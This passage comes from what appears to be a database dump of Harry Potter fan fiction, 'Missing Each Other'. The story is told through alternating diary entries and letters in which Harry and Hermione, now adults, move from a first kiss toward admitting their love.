may have more than friendly feelings for him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Hermione\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry,\nentry 3</p>\n\n<p class="MsoNormal">August\n11</p>\n\n<p class="MsoNormal">Knight\nBus</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\ncan&#8217;t believe what I did and why I did it. I <i style="mso-bidi-font-style:\nnormal">kissed </i>Hermione! Oh, I can&#8217;t believe it. <i style="mso-bidi-font-style:\nnormal">Why in Dumbledore&#8217;s name did I do it???</i> I think I know. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Harry</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione,\nentry 3</p>\n\n<p class="MsoNormal">August\n13</p>\n\n<p class="MsoNormal">Room\n12 in the Leaky Cauldron</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nneeded to get away from Ron. And Amanda, so I came here. Here I can think, and\nfind out about Quidditch. Earlier I mingled with Neville Longbottom, Seamus\nFinnigan, Dean Thomas, and Colin Creevey. They told me Puddlemere United had\nbegun practices yesterday, and Harry was proving himself to be a very able Seeker.\nOf course, I know that. He always was a very able Seeker. I wonder how Lily and\nJames Potter feel now that their son is playing professional Quidditch.\nProbably happy. Very happy&#8230;. Oh dear. I seem to keep thinking about that kiss\nhe gave me. I can almost still feel his lips against mine. The last two nights\nI have had dreams about him. They&#8217;re good dreams, of course.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">God,\nI miss him. And I pray he&#8217;s all right. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron\nand I had another big fight. The dialogue:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron:\nHermione, why have you been moping about Harry for the past day and a half?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Me:\n*yawn* Shut up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">R:\nNo. I want to know what&#8217;s wrong with you. You&#8217;re acting like a lovesick fool\nwhose lover has gone off somewhere! *A sudden look of dawning understanding*\nWait a sec. Hermione, do you love Harry?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">M:\nMind your own business!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">R:\nNo! He&#8217;s my friend too, I want to know if you two are secretly dating or\nsomething!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">M:\n*almost in tears* SHUT UP! JUST DAMN, F*CKING SHUT UP!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">R:\n*a <i style="mso-bidi-font-style:normal">very </i>shocked look* Okay. Fine. You\nwin this time, Hermione Anne Granger. BUT YOU WON&#8217;T WIN EVERY TIME!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">M:\nWHATEVER! I&#8217;m spending tonight at the LEAKY CAULDRON!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">R:\nFINE!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\ncan&#8217;t believe I cursed&#8230;. But I was mad, and believe me, if you&#8217;re Ron, and I&#8217;m\nmad, you&#8217;d give in easily too. At least&#8230; when I cuss you should. Otherwise you&#8217;d\nbe advised to get out of hitting range.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Hermione</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry,\nentry 4</p>\n\n<p class="MsoNormal">August\n13</p>\n\n<p class="MsoNormal">Puddlemere</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\ngot a letter from Hermione today. She and Ron had a big fight. &#8216;Big&#8217; meaning\nshe cussed and yelled at the top of her lungs. I&#8217;ll copy the letter in here:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dearest\nHarry,</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Okay,\nfirst things first. I can&#8217;t get that kiss off my mind. For the past two nights\nI&#8217;ve had dreams about you. God, I can&#8217;t get <i style="mso-bidi-font-style:normal">you\n</i>off my mind. This morning I was thinking about you and the you-know-what,\nand Ron caught me. He and I had this really big fight, so big I cussed. He was\nmad too, but I was madder. I&#8217;m sure that, if he found out, he&#8217;d tease till the\nend of time.</p>\n\n<p class="MsoNormal">How\nare you? I miss you already, for some crazy reason. I heard from Neville, Dean,\nand Seamus you&#8217;re turning out to be a very able Seeker. Can&#8217;t wait for your\nfirst game! You know, I have this feeling that you&#8217;re going to be <b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><u>THE</u></i></b>\nSeeker soon. You&#8217;re a really good one, and you deserve to be THE Seeker.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lots\nof Love and thinking of you and the you-know-what,</p>\n\n<p class="MsoNormal">Hermione</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nmiss her, too. Something about the eyes. Yet I have this feeling she&#8217;s keeping\nsomething from me&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Harry</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">Hermione,\nentry 4</p>\n\n<p class="MsoNormal">August\n14</p>\n\n<p class="MsoNormal">The\napartment</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I&#8217;m\nVERY PO&#8217;ed at Ron. He is being a big idiot. Won&#8217;t say any more, very tired.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Hermione</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry,\nentry 5</p>\n\n<p class="MsoNormal">August\n15</p>\n\n<p class="MsoNormal">Puddlemere</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nsent Hermione a reply. I still think she&#8217;s hiding something from me. Our first\nbig game is tomorrow. I gave her three tickets for it. It&#8217;ll be in London, at\nleast, in a place <i style="mso-bidi-font-style:normal">near </i>London. I miss\nher SO MUCH. It&#8217;s like-like-Oh, I don&#8217;t know. It&#8217;s like I can&#8217;t stand to be\naway from her. It&#8217;s very weird.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\ngot in trouble today. I was thinking about Hermione, and I didn&#8217;t see a Bludger\ncoming, and it knocked into my leg and fractured it. At that moment I wished my\nheart out that Hermione were here to make it feel better. But all I got for all\nthat wishing was the nurse and scolds from the captain, who just happens to be\nOliver Wood. Oh well. I&#8217;ll see her tomorrow. Must get sleep, goodnight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Harry</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">P.S:\nI&#8217;ve put a locking charm on this diary. No one but me can get into it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione,\nentry 5</p>\n\n<p class="MsoNormal">August\n15</p>\n\n<p class="MsoNormal">The\nApartment</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Got\na letter from Harry today. Along with three tickets to their game in London\ntomorrow. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Here&#8217;s\nthe letter:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dearest\nHermione,</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">How\nare you? Got in trouble today. I also got a fractured leg, but that&#8217;s fixed.\nWas thinking of you and not looking and got hit by a Bludger. While my leg was\nstill broken, I wished my heart out that you were there to make it all better\nlike usual, but all I got was Wood and the nurse. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nnurse is really young, and pretty, too. But not as pretty as you. You&#8217;re\nbeautiful. Nobody could hold a candle to you. And that I mean. Oh, listen to\nme, pouring my heart out to you. I might as well get to the point.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nthink might have more than friendly feelings toward you, Hermione. I really do.\nI don&#8217;t know why I kissed you; it was just an-impulse. Hermione, I have this\nfeeling you&#8217;re hiding something from me. I don&#8217;t know why. If you are, why don&#8217;t\nyou tell me? We&#8217;ve always shared secrets before. Unless they&#8217;re about each\nother. I&#8217;ll close for now, as you&#8217;re blushing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With\nlots of friendly love (for now) and thinking of you and the &#8216;you-know-what&#8217;,</p>\n\n<p class="MsoNormal">Harry</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">P.S.\nI really am thinking of you as I write this. And the you-know-what.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I&#8217;m\npositive now. I love him. I&#8217;ve put a locking charm on this diary, so now NO ONE\nexcept me can get in it. But-I wonder-how did he know I was blushing?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Hermione</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(151, 2, '\n\n\n\n<p class="MsoNormal" style="text-align:center" align="center">~~~~~~~</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal"><u>Missing Each Other, Chapter Two</u></i></b></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry,\nentry 6</p>\n\n<p class="MsoNormal">August\n16</p>\n\n<p class="MsoNormal">The\nLeaky Cauldron</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Well,\nwe won.&nbsp; 290 to 60.&nbsp; We&#8217;re celebrating our victory at this very\nmoment.&nbsp; I&#8217;m a lucky guy. The usual\nSeeker got his ribs broken by a Bludger, so I was called in.&nbsp; I caught the Snitch in two minutes.&nbsp; As I was being slapped on the back and\ncongratulated, someone came up behind me and wrapped me in a tight hug.&nbsp; When I was released, I spun around to see\nHermione walking away, her mouth twitching.&nbsp;\nI called after her, but she didn&#8217;t turn.&nbsp; I tried to go after her, but at that very moment I was lifted\nonto people&#8217;s shoulders and carried out of the stadium.&nbsp; Uh oh.&nbsp;\nWood&#8217;s coming.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Later</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I&#8217;m\nnot in trouble.&nbsp; Wood just wanted to\nknow what I was doing, curled up in this corner.&nbsp; I told him I was writing.&nbsp;\n&#8216;Oh,&#8217; was all he said.&nbsp; Then he\nleft.&nbsp; I suppose I&#8217;ll have a bit of\nmead, then go over to Hermione&#8217;s.&nbsp; We\nneed to talk.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Harry</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione,\nentry 6</p>\n\n<p class="MsoNormal">August\n16</p>\n\n<p class="MsoNormal">The\nApartment </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I&#8217;ve\nnever been so happy in my life.&nbsp; HARRY\nCAUGHT THE SNITCH IN TWO MINUTES!&nbsp; That&#8217;s\na record for him!&nbsp; Oh, I&#8217;m so happy, I&#8217;m\ngoing to turn on my Muggle radio and dance to&#8230; Britney Spears&#8217; &#8216;Don&#8217;t Let Me Be\nThe Last To Know&#8217;!&nbsp; I&#8217;ll be back in a\nmoment!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Later</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I&#8217;m\nback for the moment.&nbsp; I&#8217;m incredibly\nhappy and joyous.&nbsp; Oh dear, someone&#8217;s at\nthe door&#8230;.&nbsp; It&#8217;s Harry.&nbsp; What is he doing here?&nbsp; Oh, I have so many questions to ask&#8230;.&nbsp; I suppose I&#8217;ll go see what he wants, then\ncome back and finish this entry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Later</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\ndon&#8217;t believe it!&nbsp; He kissed\nme-again!&nbsp; As soon as I came out of my\nroom, he saw me, grinned, and crushed me in his embrace.&nbsp; I nearly suffocated.&nbsp; He&#8217;s so <i style="mso-bidi-font-style:normal">tall</i>,\nand I&#8217;m so short, only 5&#8217; 2&#8221;.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Then\nhe leaned over and whispered in my ear, &#8220;Let&#8217;s go into your room and talk.&#8221;&nbsp; I nodded, holding back happy tears.&nbsp; &#8220;Did you have a good time at the game?&#8221; he\nasked once in my room. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes.&nbsp; I was amazed when you caught the Snitch, and\nthat Wronski Feint&#8230; You were amazing,&#8221; I replied.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;\nwhy did you hug me and then walk away?&#8221;&nbsp;\nhe asked then.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nbit my lip, and then said, &#8220;You were too busy being congratulated to come and\ntalk, and I figured you&#8217;d come over later.&nbsp;\nI suppose I figured right.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\ngave him a small smile, and then he did something that took me completely by\nsurprise.&nbsp; He leaned down and kissed\nme!&nbsp; He put his arms around my waist and\npulled me over to the bed, still kissing me.&nbsp;\nPutting my arms around his neck, I kissed back, with as much vigor as he\nwas. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">We\nstood there for a moment, kissing, until we had to stop, someone was knocking\non the door.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&nbsp; Hurry up!&nbsp;\nI still have to talk to you!&#8221;&nbsp; It\nwas Ron. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nsat down on my bed, picked up you, diary, and said, &#8220;Thank you so much for\nthis.&nbsp; It really helped.&nbsp; And Harry, I am hiding something.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\ngrinned, picked up my quill, dipped it in my ink, and then wrote, &#8216;I think you&#8217;re\nvery sweet and handsome.&#8217;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\ngrinned, kissed me on the cheek, and said, &#8220;Good night. See you whenever I see\nyou.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Then\nhe walked out the door, but when he was almost there, I whispered, almost\ninaudibly, &#8220;I love you, Harry Potter.&#8221;&nbsp;\nHe paused for a moment, and then walked on out the door.&nbsp; I think he heard me, but thought it was the\nwind.&nbsp; Oh well.&nbsp; We&#8217;ll cross that bridge when we come to\nit.&nbsp; For now, I&#8217;ll just love him\nsecretly.&nbsp; I love you, Harry James\nPotter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Hermione</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry,\nentry 7</p>\n\n<p class="MsoNormal">August\n16</p>\n\n<p class="MsoNormal">The\nLeaky Cauldron</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nfeel as if I could fly.&nbsp; She kissed me\nback!&nbsp; I went into her room, after\nhugging her-she almost suffocated-and asked if she enjoyed the game.&nbsp; She said she did, and then I asked why she\nhad hugged me and then walked away.&nbsp; She\nreplied that I &#8216;was too busy being congratulated.&#8217; I&#8217;m never too busy for her.&nbsp; Never.&nbsp;\nShe gave me a smile, and I got that impulse again, so I kissed her.&nbsp; As I shake myself mentally, I wonder what\ntriggered those impulses.&nbsp; Could it be\nlove?&nbsp; I think it is.&nbsp; Actually, I&#8217;m sure it is.&nbsp; And you know what?&nbsp; As I walked out of her room, I heard her whisper, &#8220;I love you,\nHarry Potter.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\ncan&#8217;t believe it.&nbsp; Hermione loves\nme!&nbsp; I paused for a moment, wondering if\nI should say something, but decided against it and walked on out the door.&nbsp; I think I&#8217;m going to fall on my bed in\namazement.&nbsp; There.&nbsp; I just did.&nbsp;\nI can&#8217;t believe it.&nbsp; I just can&#8217;t\nbelieve it!&nbsp; Now I know it. I love her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Harry</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione,\nentry 7</p>\n\n<p class="MsoNormal">August\n17</p>\n\n<p class="MsoNormal">Mum\nand Dad&#8217;s house</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I&#8217;ve\njust gotten finished telling Mum about what happened and my feelings.&nbsp; She says she saw Harry and me together a\nlong time ago, when she met him in 5th year.&nbsp;\nAmazing what mums can see.&nbsp; </p>\n\n<p class="MsoNormal">&#8220;He&#8217;s\nquite a handsome young man.&nbsp; Actually,\nhe&#8217;s that tall, dark, and handsome guy every girl dreams of.&nbsp; Be careful, sweetie.&nbsp; Many girls would do anything for a guy as\nincredible as he,&#8221; she said.&nbsp; </p>\n\n<p class="MsoNormal">I\nsighed and said, &#8220;I know, Mum.&nbsp; He went\nout with Cho Chang in his 5th year, and Ginny in his 6th.&nbsp; In his 7th year, it was a variety of girls,\nbut never me.&nbsp; Except for that time on\nChristmas&#8230;. Under the mistletoe&#8230;.&#8221; I trailed off, remembering.&nbsp; It was Christmas of our 7th year, and we\nwere going down for dinner.&nbsp; When we got\nto the Great Hall, Ron nudged Harry and pointed up.&nbsp; Harry looked, and so did I.&nbsp;\nWe saw a wreath of mistletoe hanging above our heads.&nbsp; Harry gave Ron a sly smile then grabbed me\nand kissed me quickly on the lips.&nbsp; I\ngasped, then blushed a deep scarlet.&nbsp; Of\ncourse, we were seventeen then.&nbsp; Now he&#8217;s\ntwenty-one, and I&#8217;m twenty, almost twenty-one.&nbsp;\nWe&#8217;ve grown up so much. But-Voldemort&#8217;s still after him.</p>\n\n<p class="MsoNormal">I\nhope he&#8217;s all right where ever he is.&nbsp; I\nlove you, Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Hermione</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry,\nentry 8</p>\n\n<p class="MsoNormal">August\n20</p>\n\n<p class="MsoNormal">Puddlemere</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">We&#8217;ve\nbeen back at Puddlemere two days.&nbsp; I&#8217;ve\nbeen vigorously training for the past two days, so I haven&#8217;t had the time to\nwrite.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nkeep thinking of Hermione.&nbsp; And I keep\nthinking I should tell her.&nbsp; But I\ncan\'t.&nbsp; Not until I know for sure if she\nloves me back.&nbsp; So I\'m sending a letter\nto Ron, and copying it in here.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dear\nRon,</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">Hey,\nmate!&nbsp; How are you?&nbsp; How\'s Hermione?&nbsp; I\'m fine, please be sure to tell Hermione that.&nbsp; I haven\'t been injured in any way,\neither.&nbsp; </p>\n\n<p class="MsoNormal"><br>\nRon, I need your help.&nbsp; I have a secret\nto tell you, but you can\'t tell Hermione.&nbsp;\nYou can\'t tell anyone.&nbsp; Ron, I\'m\nin love... with Hermione.&nbsp; But I can\'t\ntell her until I know that she loves me back.&nbsp;\nSo could you <i style="mso-bidi-font-style:normal">please</i> find out, <b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><u>discreetly</u></i></b>,\nif she loves me?&nbsp; I really appreciate\nyour help.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks\nmate,</p>\n\n<p class="MsoNormal">Harry</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\nhope he can help me.&nbsp; I hope she loves\nme.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~Harry</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Hermione, entry 8</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">August 21</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Home</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Ron got a letter from Harry, and he won\'t let me\nread it.&nbsp; All he says is that Harry says\nhe\'s fine.&nbsp; Grr, it just makes me so\nmad.</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Also, Ron\'s been asking a lot of strange questions\nlike, &quot;What do you think of Harry?&quot;, &quot;Does Harry seem like more\nthan a friend to you?&quot;, and other things.&nbsp;\nIs he jealous?&nbsp; I don\'t know what\nto think.</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">I do wonder if Harry loves me.&nbsp; Perhaps he kissed me because he loves\nme.&nbsp; My heart jumps for joy at that\nthought.&nbsp; Uh oh, here comes Ron.</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Later:</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Ron started asking me stupid questions again, like,\n&quot;If Harry had a girlfriend, would you feel jealous?&quot;&nbsp; I told him it would depend on the girl.&nbsp; He grinned and asked me another\nquestion.&nbsp; &quot;If Harry were to buy\nyou chocolates and flowers, would you be so pleased you\'d kiss him?&quot;&nbsp; I told him yes.&nbsp; Honestly, <i style="mso-bidi-font-style:normal">what</i> is he up\nto?</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">-Hermione</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Harry, entry 9</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">August 22</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Puddlemere</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">I got a letter from Hermione today.&nbsp; She\'s getting suspicious.&nbsp; I\'ll copy it here.</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Dear Harry,</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Ron keeps asking me weird questions.&nbsp; Really weird questions.&nbsp; I\'m not sure, but... I think he might be\njealous.&nbsp; I wish you were here.&nbsp; You could help me figure him out.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Also, what did you say in that letter to Ron that he\ncouldn\'t let me see?&nbsp; Honestly, I\nthought we stopped keeping secrets from each other.&nbsp; Oh well.&nbsp; Perhaps I\nthought wrong.&nbsp; Please write back ASAP.</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Love from,</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Hermione</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">She said love.&nbsp;\nShe loves me!&nbsp; God, get a hold of\nyourself, Harry.&nbsp; That\'s just a way you\nclose a letter.&nbsp; I don\'t know what\'s\nwrong with me.&nbsp; I must be completely\ninfatuated with her.</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">-Harry</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">P.S. I sent her a reply.</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Hermione, entry 9</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">August 22</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">L\'appartement (French)</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Got a letter from Harry.&nbsp; He didn\'t tell me anything about what was in the letter that he\nsent Ron.&nbsp; He also said, &quot;Some\nsecrets were meant to be kept until the right time.&quot;&nbsp; Ass.&nbsp;\nHe also didn\'t give any hint whatsoever as to what the heck Ron\'s\ndoing.&nbsp; Damn.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Oh!&nbsp; Dinner\'s\nburning!</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">-Hermione</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p 